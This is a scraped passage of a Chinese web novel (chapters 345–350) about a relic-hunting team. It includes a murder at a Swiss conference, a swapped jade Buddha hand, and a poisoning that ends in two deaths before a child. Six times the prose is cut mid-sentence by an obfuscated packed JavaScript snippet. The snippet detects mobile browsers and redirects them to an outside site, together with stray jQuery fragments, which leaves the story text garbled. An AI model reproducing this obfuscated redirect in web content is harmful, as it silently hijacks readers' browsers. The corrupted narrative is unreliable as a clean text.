“废物!都是废物!”她抓着对讲机,歇斯底里地尖叫,“给我上!抓住她!抓活的!谁敢退后我就杀了谁!” 然而,回应她的,是她自己座驾轮胎被精准击穿的爆裂声。 车身猛地一沉。 萧秀雅的尖叫戛然而止,她终于意识到,暗处有一股她无法控制的力量,正在拆解她的獠牙。 她猛地推开车门,目光死死地扫向袭击传来的方向。 黑暗中,一辆改装过的轮椅,缓缓从树影后滑出。 萧玦就坐在上面,神情平静,手里端着一把造型奇特的、加装了瞄准镜的**。 他身后,站着几个面无表情的随从,如同幽灵。 看到萧玦的瞬间,萧秀雅脸上的愤怒凝固了,取而代之的是极致的震惊。 “是你?!”她不敢相信自己的眼睛,“萧玦?你疯了?!” 她踉跄着朝他走去,声音因为情绪剧烈波动而变得尖利刺耳: “你知不知道你在做什么?!我们都是萧家的人!我们之前还……你现在居然为了一个外人,来坏我的事?!” 萧玦没有看她,他的目光越过她,投向远处被护在中间的秦绵绵身上,那眼神深邃,看不出情绪。 他只是抬了抬手,他身后的一个随从便上前一步,手里多了一柄细长的、类似击剑的刺剑。 萧秀雅的脚步停住了,她感到了致命的危险,色厉内荏地叫道:“你想干什么?萧玦!你别忘了你的身份!你敢动我,家里那边……” “家?” 萧玦终于开口,声音很轻,却带着一种冰冷的嘲弄。 他转过头,第一次正眼看向这个血缘上的亲人,那眼神,像是在看一件毫无价值的、即将被丢弃的物品。 “在你死之前,我想纠正你的一个想法,其实,我不是在帮她。” 他缓缓说道,像是在陈述一个事实。 “只是,我现在想要的,跟从前不一样了。” 话音落下的瞬间,他身后的随从动了。 没有丝毫犹豫,一道银光闪过。 快得让人看不清轨迹。 萧秀雅的瞳孔猛地放大,她低下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046213|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,看着穿透自己心口的那一抹银亮,脸上满是无法置信的疯狂。 她张了张嘴,想说什么,涌出的却只有鲜血。 她死死地盯着萧玦,眼中翻涌着怨毒、不解,最终,一切都归于死寂。 随从抽出刺剑,轻轻一甩,血珠飞溅在草地上。 整个过程,干净利落,没有一丝多余的动静。 剩余的黑衣袭击者看到主子**,彻底崩溃了,丢下武器四散而逃。 萧玦的人没有去追,只是沉默地、高效地处理着现场的尸体和车辆,仿佛在清理几袋垃圾。 一切重归寂静,只剩下浓雾依旧。 萧玦没有再看秦绵绵一眼,他操控着轮椅,转身融入黑暗。 …… 接下来的两天,对所有与会者而言都是一场煎熬。 萧秀雅失踪了,第二天上午,尸体出现在了湖边,惊动了警方。 研讨会被迫中止,所有人都要接受调查。 萧秀雅的死讯像投进平静水潭的巨石,激起了滔天巨浪。 会场被封锁,酒店被严密监控,所有人都被禁止离开,反复接受着来自警方的、毫无温度的盘问。 调查很快有了初步结论,现场的痕迹指向,萧秀雅当晚似乎正准备对另一拨人设伏,结果却被第三方势力“黑吃黑”,自己反而成了受害者。 一场精心策划的**,演变成了更加扑朔迷离的**。 而到底是谁黄雀在后杀了萧秀雅,却丝毫没有踪迹。 酒店的休息区内,往日里风度翩翩的专家学者们,此刻都像困在笼中的野兽,烦躁不安。 抱怨声、争吵声、向各自使馆求助的电话声,不绝于耳。 “这简直是野蛮人的行径!他们凭什么限制我的人身自由?” “我的行程早就安排好了!损失谁来承担?” 愤怒与恐慌在空气中发酵。 唯有秦绵绵的团队,安静得像个异类。 姚祁在角落里敲着电脑,林鸢在看书,朱七妹在擦拭一副墨镜。 而秦绵绵,正端着杯咖啡,站在落地窗前,神情淡然地看着窗外灰蒙蒙的天空。 第346章 答应我一个条件 这份与周遭格格不入的镇定,自然落入了不远处另一双眼睛里。 赫尔曼处理着事情,目光偶尔扫过秦绵绵的侧影,那双鹰隼般的眸子里,闪烁着愈发浓厚的探究。 …… 第三天清晨,破门声毫无征兆地响起。 一队荷枪实弹的特别警察,粗暴地撞开了萧玦所在的套房房门。 正在看棋局的萧玦甚至没有抬头,任由冰冷的**锁住他的手腕。 他被带走时,路过秦绵绵等人的房门,甚至没有丝毫停顿,脸上也无波无澜,仿佛只是去赴一场与己无关的约。 消息很快传开,所有人都知道,警方抓到了一个重大嫌疑人。 酒店的私人会客厅里,赫尔曼屏退了所有人。 偌大的房间只剩下他和秦绵绵。 “秦博士,真是临危不乱。”赫尔曼的声音沙哑,却带着一种掌控全局的笃定,“你的同伴被带走了,你似乎,点都不担心。” 秦绵绵转过身,平静地回视他:“我不明白您的意思。我不认识那位先生。” “是吗?”赫尔曼笑了,那笑容里没有温度,只有洞悉一切的冰冷。 他没有再废话,只是将身旁助手递来的平板电脑转向秦绵绵。 屏幕上,是一段极其清晰的视频。 画面的视角极高,像是来自天上的眼睛。 夜色与浓雾下,萧玦坐在轮椅上,举起手里的**,瞄准,击发。 动作流畅,精准得如同手术。 画面里,萧秀雅的保镖应声倒地。 视频没有声音,却比任何指控都来得震撼。 秦绵绵的瞳孔,在那瞬间几不可查地收缩了一下。 她震惊的不是萧玦杀了人,而是赫尔曼。 他竟然拥有这种监控能力,并且,他直接将证据摆在了她的面前。 “我的人,碰巧记录下了些有趣的画面。”赫尔曼收回平板,慢条斯理地说道,“萧玦……前途无量的萧家太子爷,可惜断了腿,性情也变得乖戾。为了保护你,不惜在瑞士的土地上亲手清理门户。秦小姐,这份‘情谊’,真是令人动容。” 秦绵绵的脸色终于沉了下来。 “赫尔曼先生早就开始调查我了吗?” “当然。”赫尔曼坦然承认,身体微微前倾,那双眼睛像是要将她彻底看穿,“我不和贼合作,但我更不能和一个对自己一无所知的‘客人’交易。秦小姐,你的团队里都不是一般人……你们为了‘归墟’而来,为了我手里的佛的心而来。我说的,对吗?” 房间里死寂一片。 对方摊牌了。 用一种绝对强势的、不容辩驳的方式,撕下了她所有的伪装。 “我可以帮他。”赫尔曼打破了沉默,重新靠回椅背,手指轻轻敲击着扶手,“瑞士的司法系统很独立,但并非没有缝隙。我可以让他安然无恙地走出警局,就当那晚什么都没发生过。” 他停顿了一下,看着秦绵绵,抛出了他真正的目的。 “作为交换,你需要答应我一个条件。” …… 酒店套房内,气氛压抑。 林鸢和姚祁听完秦绵绵的转述,脸色都无比凝重。 朱七妹的声音很沉,像块投入死水里的石头,第一个打破了套房内的压抑: “不能答应!掌柜的,这是个圈套!那个老狐狸把萧玦当筹码,就是想逼我们就范!谁知道他的条件是什么?” 姚祁点头附和:“没错。萧玦被困在警局,对我们来说是好事。这本就是他自己的事,何况他也是我们的对手,我们没必要为了一个敌人,把自己搭进去。” 角落里,一直没怎么说话的姜敬意却皱起了眉,他看着秦绵绵的侧影,迟疑道:“可……绵绵,他毕竟是为了救你才……” 姚祁瞥了他一眼,淡淡道:“掌柜的不是心软的人。” 他了解秦绵绵。 她此刻的沉默,不是在同情萧玦,而是在权衡。 但姚祁只猜对了一半。 秦绵绵确实不在乎萧玦的死活。 她靠在冰冷的落地窗上,指尖无意识地在玻璃上划过,脑子里盘旋的是另一个问题。 瑞士警方以严谨低效著称,调查了整整两天都毫无进展,为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048193|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么会突然指名道姓地带走萧玦? 是谁,把证据递到了警方手上? “我没立刻答应赫尔曼,他给了我们时间考虑。” 听到这句话,众人这才暂时松了口气。 “时间不早了,明天再讨论吧。” 于是众人各自回房。 朱七妹回到房间后,立刻反锁了房门。 她从贴身的口袋里取出一张电话卡的芯片,用钳子夹碎,扔进马桶,按下冲水键,看着白色的漩涡将那点微小的罪证吞噬得一干二净。 做完这一切,她才靠在门板上,缓缓吐出一口气。 那天夜里,在客栈,她端着给小宝的热牛奶路过萧玦的房间,听到了他压低了声音的交谈。 “……佛手必须拿到手。”是他手下的声音。 “不急。”萧玦的声音很平静,却透着股令人心悸的寒意,“秦绵绵会帮我找到剩下的东西。她现在,是我最好用的‘钥匙’,等门开了,这把钥匙……也就没用了。” 那瞬间,朱七妹如坠冰窟。 这个疯子,从头到尾都没有变过! 他对掌柜的所有示好,所有的“保护”,都是为了最后夺走一切的铺垫! 他不是毒蛇,他是附骨之疽,若不剔除,终成大患。 所以,她匿名向警方提供了萧玦的资料。 当她知道他们出去的那段时间,萧玦也不在酒店,她就立刻想到背后救他们的是萧玦了。 果然警方很快就摸到了萧玦**的证据。 她要借瑞士人的手,彻底除掉这个威胁。 掌柜的希望,绝不能毁在这个疯子手里。 …… 秦绵绵仍在沉思,赫尔曼的条件,萧玦的算计…… 就在这时,她的私人手机屏幕亮了一下。 是一条来自未知号码的彩信。 没有文字,只有一张照片。 照片的背景很暗,像是在某个保险室里,当中是一只手,一只用玉一般的山岩雕琢而成的佛手,造型古朴。 正是林鸢从博物馆盗出的那尊,对他们来说至关重要的佛手。 第347章 被掉包了 文物无法带出国,否则佛手和佛头这两样他们拼了命拿到的东西,他们说什么也不会不留在身边。 离开之前,他们联系了盛意和钱老先生,找到一个稳妥隐秘的地方,暂时存放他们。 但,这照片又是什么意思? 秦绵绵的瞳孔猛地收缩。 她立刻转身: “姚祁!马上联系钱老先生!让他的人去检查我们留下的东西!快!” 整个团队都被她这突如其来的反应惊动了。 姚祁不敢怠慢,立刻拨通了加密线路。 等待的每一秒,都像在油锅里煎熬。 几分钟后,姚祁挂断电话,他看向秦绵绵,叹了口气:“掌柜的……外公那边回复,东西还在……但是是假的。” 林鸢和姜敬意都愣住了。 那尊佛手,他们亲手交接,反复确认过,怎么会是假的? “是顶级的仿品。材质、包浆都做得天衣无缝,但密度不对,是后来仿造的……不知道什么时候,被人掉了包。” 什么时候? 秦绵绵的脑海里,闪过萧玦坐在轮椅上,平静地看着废墟中一切的画面。 闪过他躺在病床上,看似孱弱却依旧暴戾的眼神。 闪过他被警察带走时,那波澜不惊的侧脸。 原来如此。 从疗养院的废墟里,他就已经布好了局。 怪不得这么有恃无恐,也或许,他也早已想到了秦绵绵他们绝对不会管他。 他这是用那尊真正的佛手,逼她去撬开瑞士警局的大门,把他完好无损地捞出来。 套房内,死寂得能听见灯丝微弱的电流声。 “掌柜的……”朱七妹的声音干涩。 秦绵绵没有理会任何人,她径直走到窗边,看着外面被警方封锁线割裂的日内瓦夜景。 萧玦。 好一个萧玦。 他用自己当诱饵,用瑞士警方的力量作牢笼,将她逼到了棋盘的死角。他笃定,她会为了那尊真的佛手,亲手为他撬开这把锁。 “我去找赫尔曼。” 秦绵绵转过身出门,声音里没有半分波澜。 朱七妹站在阴影里,攥紧的拳头指节泛白,一言不发。 …… 赫尔曼的私人会客厅,位于酒店顶层,需要专属钥匙卡才能抵达。 这里不像客房,更像一座小型博物馆。 昏黄的射灯下,玻璃展柜里陈列着来自世界各地的古物,每一件都散发着沉甸甸的时间气息。 赫尔曼坐在主位的一张高背皮椅上,没有看进门的秦绵绵,只是用丝绒布,慢条斯理地擦拭着一枚古罗马钱币。 “秦博士,深夜造访,是来向我求助的吗?”他头也不抬,声音沙哑。 秦绵绵拉开他对面的椅子,径自坐下。 “不。”她平静地开口,“我是来和赫尔曼先生,做一笔更划算的交易。” 赫尔曼擦拭的动作停顿了。他抬起那双鹰隼般的眼睛,锐利地审视着她。 秦绵绵将那张佛手的照片,推到了桌子中央。 “萧玦手上,有我需要的东西。他被困在警局,我也拿不到。但同样,他杀了萧秀雅,也脏了你的研讨会。瑞士警方会把这里翻个底朝天,直到查出真相。” 她身体微微前倾,目光迎着赫尔曼的审视,没有丝毫退缩。 “而你,赫尔曼先生,恐怕最不希望的,就是自己那些‘见不得光’的收藏渠道,被警方翻出来吧?” 秦绵绵之所以如此笃定,也没有什么别的原因,单单赫尔曼能不远**去收购佛舍利,就已经可见一斑了。 赫尔曼脸上的肌肉抽动了一下。 房间里的空气仿佛凝固了。 许久,老人干枯的嘴唇扯出一个难看的笑容:“你威胁我?” “不。”秦绵绵摇头,“我是在告诉你,我们有共同的敌人,和共同的利益。我可以帮你解决这个麻烦,让一切恢复平静。而你,只需要把他捞出来,当然了,还有那颗,佛的心。” 赫尔曼死死地盯着她,像是要将她看穿。 半晌,他忽然发出几声低沉的、像是破风箱般的笑声。 “有趣……真是有趣……”他收敛了笑,身体靠回椅背,眼神变得幽深而诡异,“你知道吗,秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我需要你。”赫尔曼转过身,目光灼灼地看着秦绵绵,声音里满是毫不掩饰的渴求,“帮我找到‘归墟’,帮我解决这个……这个不知道是什么的难题!只要你答应,萧玦的事我来处理。不仅如此,佛的心我也一并带上,我们一起去!” 第348章 同归于尽 秦绵绵看着那枚佛舍利,心慢慢一舒。 “好。”她平静下来,“既然赫尔曼先生相信我,我必然不会让您失望。” 两天后,苏黎世国际机场,私人停机坪。 命案调查中止,证据链断裂,萧秀雅的死被定性为黑帮火并的意外。所有被滞留的人员,都已获准离开。 赫尔曼带着秦绵绵一行人率先登机。 片刻后,一辆黑色的轿车驶来。 车门打开,萧玦坐着轮椅被随从推了出来。 他换了身干净的衣服,脸色有些苍白,但眼神却依旧锐利。 他被推上飞机,在经过秦绵绵座位时,脚步停了停。 他侧过头,看着她,嘴角勾起一抹几乎看不见的弧度。 秦绵绵目不斜视,仿佛他只是一团空气。 飞机引擎发出巨大的轰鸣,冲上云霄。 所有的人,所有的佛宝,所有的阴谋与算计,都正朝着同一个目的地飞去。 海城,青塔湖。 那个一切开始的地方。 …… 飞机降落在海城,湿热的空气涌入机舱,带着湖水与草木的腥气。 一行人回到青塔湖畔的客栈,这里的一切都和离开时没有两样,却又仿佛隔了几个世纪。 诡异的平静笼罩着所有人,像一张无形的网,越收越紧。 赫尔曼打量着这间古朴的客栈,然后看向秦绵绵,眼神里带着一丝急不可耐:“秦小姐,我们什么时候开始?” 秦绵绵先安排他入住:“不急。我需要先和我的团队商议。” 萧玦没有参与任何讨论。 他让随从将自己推到院子里的那棵大槐树下,朱小宝正蹲在地上,用树枝画着小人。 “小宝。”多日不见,萧玦的声音比往日温和了许多。 朱小宝抬起头,看见是他,眼睛亮了一下,随即扑向后面的朱七妹的怀里。 萧玦把路上准备的玩具送给他,朱小宝立刻高兴地跟萧玦说起了话,甚至忘记了跟妈妈朱七妹多说几句。 朱七妹在一旁看着,眼神晦暗不明,但她并没有说什么。 晚饭后,萧玦突然拿出一份文件。 “给小宝的。” 那是一份信托基金文件,上面的数字,足以保障一个孩子一生优渥,甚至几辈子都挥霍不尽。 朱七妹敛了神情,还没等她说这东西太重,朱小宝先凑上来: “这是什么呀。” 萧玦摸摸他脑袋:“这是给小宝的礼物。” “可是叔叔已经给我很多礼物了啊。” “这是我给小宝一辈子的礼物。”萧玦的眼神暗了暗,“但是,小宝可以改口,叫我爸爸了吗?” 朱小宝连忙去看朱七妹。 萧玦也转头看着朱七妹。 朱七妹沉默了半晌,终于点了点头。 朱小宝高兴地扑向萧玦:“爸爸!” 朱小宝的高兴朱七妹尽收眼底。 她脸上看不出什么表情,只是放在身侧的手,慢慢地攥了起来。 她不能再等了,所有的一切,今夜,必须有个了断。 …… 入夜,秦绵绵召集了所有人,在客栈的大堂里开会。 萧玦把被他掉包的真佛手拿了来,彰显他的诚意。 “开启石窟的条件已经集齐。”秦绵绵开门见山,“佛头,佛手,佛心。但具体的开启方式,还需要参照严启山和安德森的笔记,还有姑姑……” “笔记上的方式未必是对的。”萧玦忽然开口,打断了她。他端坐于轮椅上,目光落在秦绵绵脸上,带着一丝挑衅,“真正的钥匙,可不是几件死物那么简单。” 秦绵绵的目光冷了下来:“萧先生有什么高见?” “高见谈不上。我只是提醒秦掌柜,别忘了你我之间的约定。” 秦绵绵没有忘,当初萧玦说和他们的目的一样,但是到了这时,萧玦却仍然没有说出他的目的究竟是什么。 空气里似乎弥漫着一股**味。 萧玦却又不说话了,秦绵绵知道此事应当慎重,于是跟林鸢商议后,决定明天上了山看到具体的石窟,再做打算。 这次萧玦没有提出异议。 众人各自回房休息。 夜深了,朱七妹端着一杯热牛奶,敲响了萧玦的房门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048195|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “小宝让我送来的,他说这是晚安牛奶。” 萧玦很是意外。 他少见地笑了笑,示意朱七妹进来。 当着朱七妹的面,他很利落地喝了牛奶,朱七妹拿着杯子作势要走,萧玦喊住她: “只是为了替小宝送牛奶吗?你就没什么话跟我说吗?” 他的声音难得的有点温柔,朱七妹看了看他,终于坐了下来。 萧玦跟她随意聊了几句,慢慢聊起了过去。 他没有提她作为岑小柔时的任何事,只说起她在京城以朱七妹的身份,陪伴他度过的那几年时光。 “等这件事了了,我们就带着小宝,找个地方好好过日子。”萧玦的语气里,竟透着一股从未有过的诚恳,“以前的事,都过去了。” 朱七妹垂下眼帘,点了点头:“好。” 萧玦很高兴。 但很快,他突然脸色一变,一股异样的麻痹感迅速从舌根蔓延开。 萧玦脸色骤变,他想去操控轮椅扶手上的机关,却惊恐地发现,自己的手指僵硬得像石头,完全不听使唤。 “你……” 咔哒。 朱七妹反手锁上了房门,她抬起头,目光冰冷如刀。 “在瑞士,是我向警方告的密。但是没想到并没有困住你。只好今天我来亲手解决你。”她一字一句,声音不大,却像重锤敲在萧玦心上,“你千算万算,算计了秦绵绵,算计了赫尔曼,却算漏了一件事。” 她走到他面前,居高临下地看着他那张因震惊而扭曲的脸。 “你算漏了一个母亲,为了保护自己的孩子,什么都做得出来……我绝不会让小宝,有你这样一个父亲。” 萧玦眼中爆发出惊惧与暴怒,他用尽全身力气,终于,一根手指微微动了一下。 “你杀了我……你也活不了……”他从牙缝里挤出几个字,轮椅的扶手内部,隐隐有蓝色的电弧在闪动。 那是他最后的底牌,一个高压电流装置。 朱七妹却笑了。 她没有躲。 在萧玦启动机关的瞬间,她猛地扑了上去,用自己的身体死死抱住了他。 第349章 他们都** “掌柜的……照顾好小宝!” 她同时打开了藏在身上的微型通讯器,将这最后一句嘱托,传到了另一头的秦绵绵耳中。 滋啦——! 房间内爆发出刺眼的白光,空气中瞬间充满了皮肉烧焦的恶臭。 一阵尖锐的电流声响过,然后,彻底归于死寂。 “不好!” 楼上房间里,本来已经准备睡觉的秦绵绵听到这声讯息,顿时脸色剧变,立刻召集众人赶来,撞开房门。 甫一踏入,便被扑面而来的焦臭味呛得连连后退。 房间里,灯光昏暗。 那股刺鼻的气味源头,是两具蜷曲着、交缠在一起的焦黑人影。 他们保持着最后相拥的姿势,血肉与衣物熔化后又凝固,再也分不清彼此,像一尊由地狱烈火铸造的、诡异而恐怖的雕塑。 所有人都被眼前的景象震得呆立当场,喉咙里像是被灌满了铅,发不出半点声音。 死寂中,一道怯生生的童音从门口传来。 “妈妈?爸爸?你们在玩什么呀?” 朱小宝揉着惺忪的睡眼,赤着脚站在门槛外。他被动静惊醒,寻着声音找了过来。 秦绵绵的血液仿佛在这一刻凝固了。 “姑姑,把孩子带走!快!” 林鸢如梦初醒,立刻转身想去捂住朱小宝的眼睛。 可已经晚了。 朱小宝的目光越过众人,清清楚楚地看到了房间中央那团焦黑的、无法辨认的东西。 他的小脸先是茫然,随即,那双黑白分明的眼睛里,所有的光亮都熄灭了。 他没有哭,也没有尖叫。 他就那样静静地看着,然后,像是被抽走了全身的力气,双眼一翻,直挺挺地向后倒了下去。 …… 后续的一切都陷入了兵荒马乱。 朱小宝被紧急送往医院,诊断结果是急性应激障碍引发的严重并发症,高烧不退,陷入深度昏迷。 医生脸色凝重地告知,情况非常危险,孩子随时可能出事。 林鸢留在医院里照看朱小宝,姚祁和姜敬意则要去处理朱七妹和萧玦的身后事。 萧玦身份特殊,就这样不明不白地死在海城,死在秦绵绵的客栈里,也许会掀起一场轩然大波。 但秦绵绵却没有管这一切。 她独自一人回了空寂无人的客栈。 她独自坐在朱七妹的房间里坐了很久,想了很多。 最后,她忽然想到了什么,开始在朱七妹的房间里翻找。 很久之后,终于被她在隐秘处找到了一个微型录音笔。 她按下了播放键。 里面是朱七妹断断续续的自白,从无意中听到萧玦视秦绵绵为“钥匙”的冷酷计划,到她决定借瑞士警方之手除掉他,再到最后的失败与决绝。 “……他是个疯子,掌柜的,我不能让他毁了你,更不能让小宝有个这样的父亲……我如果**,罗小胖、叶子舟他们,都在下面等我,我不孤单……” “掌柜的……照顾好小宝!” 录音的最后,还是那句通过通讯器传来的、决绝的遗言。 那是朱七妹最后的牵挂。 可是,这么一个深爱自己孩子的女人,怎么就能决绝地去做这样的事情呢。 秦绵绵想不通。 秦绵绵关掉了录音笔,静静地坐着。 不知多久之后,她的眼泪再也忍不住,大滴大滴地落在自己手心里。 她忽然想起罗小胖的笑,想起叶子舟临死前狂热的眼神。 又想到和朱七妹母子这么久以来相处的点点滴滴。 而这些人,他们都**。 为了她那个偏执的、要去拯救一个人的念头。 她回到自己的房间,将佛头、佛手、佛心三件至宝摆在桌上。 它们在灯下流转着温润又诡异的光,像三只沉默的眼睛,嘲弄地注视着她。 去救裴应见。 这个支撑她走到今天的执念,第一次,在她心里产生了裂痕。 …… 海城墓园里,秋风萧瑟,卷起几片枯黄的叶子打着旋儿落下。 萧玦和朱七妹的墓碑并排而立,碑石冰冷,他们的名字刻在上面,仿佛凝固了时间。 他们最终还是分开了,各自长眠,中间只隔着一抔黄土。 姚祁站在墓碑前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052674|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仿佛一阵风就能将他吹散。 他没有哭泣,只是每一次呼吸都带着撕裂般的痛苦。 他的双手紧紧地握成拳头,指甲深深地掐进掌心,却感受不到一丝疼痛。 眼神空洞地落在墓碑上,他喃喃自语: “姐姐……我才找到你……” 声音沙哑,后面的话语被哽咽堵住,再也说不出来。 他只是无力地晃了晃身体,仿佛要倒下。 钱老先生见状,立刻上前一步,伸出手扶住了姚祁的胳膊。 他的手掌轻轻拍了拍姚祁的背,语调沉重而缓慢: “阿祁啊,人死不能复生。你这样下去,七妹在天之灵也不会安心的。” “后续的事情我来处理。你现在状态很不好,回去休息吧,这里有我。” 姚祁却只是缓慢地摇了摇头: “不……我不能休息。我得找点事做,我不能让自己闲下来。” 他挣脱了钱老先生的搀扶,步履蹒跚地转身,直奔医院而去。 姚祁在监护室外面找到了林鸢,说要代替她看着朱小宝,让林鸢回客栈去安慰一下秦绵绵 “我现在这个状态,也安抚不了她。”他苦笑道。 林鸢看得出来姚祁状态很不好,有点担忧。 姚祁却摆摆手,表示自己没事。 林鸢见状,只能离开了医院,快速赶回客栈去。 客栈里面空寂无声。 客人早就没有了,大家也走的走散的散,此时此刻,客栈里面只有秦绵绵一个人。 林鸢找了一圈,最终确定秦绵绵在二楼自己的房间里。 林鸢轻轻地叩响了秦绵绵房间的门,声音带着小心翼翼的温柔: “绵绵,是我,姑姑。你开开门好吗?我回来了,我陪你。” 房间里没有任何回应,只有一片死寂。 林鸢又敲了两下门,声音放得更低,带着一丝哀求: “绵绵,你别这样,我担心你。有什么话,我们一起说好吗?” 然而,房间里依然没有任何动静,仿佛里面的人已经与世隔绝,将自己彻底封闭在那个狭小的空间里,不愿与外界有任何交流。 第350章 他魂魄受损 林鸢焦急地在门外踱步,无计可施。 她在门外站了许久,手抬起又放下,终究没有再敲。 她知道,此刻任何言语都是苍白的。秦绵绵需要的不是劝慰,而是自己走出来。 可她怎么能放心? 客栈里死寂一片,大家都不在,空荡荡的大堂里只剩下她自己。 那种挥之不去的焦臭味仿佛还残留在空气中,混杂着悲伤,压得人喘不过气。 林鸢回到了自己的屋里,目光最终落在了角落里那几个装着精密仪器的箱子上。 那是她的世界,一个由数据和逻辑构成的、冷静而有序的世界。 她需要做点什么,任何事都好,只要能让她暂时从这令人窒息的悲伤和无力感中挣脱出来。 几乎是下意识地,她走过去,打开了其中一个箱子,取出了笔记本电脑和环境监测设备。 她想整理一下前一晚留下的数据记录,这纯粹是出于一种习惯,一种借由工作来排遣情绪的方式。 然而目光掠过纷杂的数据时,她忽然停住了。 屏幕上,一条数据曲线呈现出极其突兀的、匪夷所思的尖峰。 就在朱七妹和萧玦死亡的那个时间点,客栈周围曾出现过一次强度极高、却又转瞬即逝的磁场爆发。 一个疯狂的念头窜入林鸢的脑海。 她急忙打电话给姚祁和姜敬意,让他们帮忙找出裴应见当初出事那家医院的监控录像。 又跑到萧玦的屋子里,从萧玦遗留下的电脑里,调出从萧秀雅那里缴获的仪器资料,将所有数据导入电脑,飞快地建立起数据模型进行比对。 屏幕上,两条来自不同时间、不同地点的磁场异常曲线,在经过校准后,几乎完美地重合在了一起。 一个认知像一道惨白的闪电,劈开了所有的迷雾。 林鸢拿着笔记本电脑,快步走到二楼秦绵绵的房门前。 她没有再像之前那样哀求,只是抬手,用指关节叩击了两下门板,声音不大,却异常清晰。 “绵绵,开门。” 里面没有回应。 林鸢深吸一口气,将那个足以颠覆一切的结论,用最平静的语调说了出来: “我从数据上发现昨晚客栈的磁场爆发……和裴应见失踪那天的能量波动,是同一种东西。” 房间里死一般的寂静被打破了。 片刻后,门锁发出一声轻微的“咔哒”声,门被从里面拉开一条缝。 秦绵绵站在门后,整个人像是被抽干了水分的枯叶,头发凌乱,脸色灰败,唯独那双布满血丝的眼睛里,透出一线被强行拽回现实的微光。 林鸢没有多言,侧身挤了进去,反手关上门,将笔记本电脑放在桌上,屏幕转向她。 “你看这里。”林鸢指着那两条重合的曲线。 她尽可能用最简单的词语跟秦绵绵解释: “在这种能量磁场的影响下,我怀疑这次裴应见回大雍可能不是穿越,至少不是我们理解的那种。监控上显示,他穿越的瞬间,正好被**击中,**的能量影响了送他回去的磁场能量,普通人……普通人在这种强度的能量冲击下,足以被在微观层面撕裂物质结构,也就是说……作用在人身上……” 她停顿了一下,似乎在寻找一个不那么残忍的词汇,但最终还是放弃了。 但秦绵绵听懂了。 “普通人,会死,对吗?” 林鸢沉默。 然而下一秒,秦绵绵就淡淡一笑:“不过姑姑不用担心,他没死。” 林鸢惊讶:“你怎么知道。” 秦绵绵没有解释,她抚上自己的心口: “我解释不了……姑姑你就当我,跟他心有灵犀吧。” “无论如何,我能确定他没死,就是了。” 林鸢没办法相信这种不科学的事情。 但秦绵绵并没有提及自己做梦的事情,她想了想,也就不再深究。 “好的,我们就假定他没死。但事情也很不妙,因为磁场的影响很严重,就算裴应见能活下来,他也有可能深受其害,他的神智很可能会受到影响,如果用我们的话说,那就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052675|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……他的魂魄,很可能在那个瞬间,就被撕裂了,穿越回大雍的他,是是不完整的。” 林鸢本来还在想着要怎么再跟秦绵绵解释一下,让她接受这个事实。 谁知秦绵绵的身体剧烈地晃动了一下,如遭重击。 她想起了梦里的裴应见,想起了他时而清醒、时而暴戾的古怪状态,想起了他被折磨时,那种不像演戏的、深入骨髓的痛苦…… 原来如此。 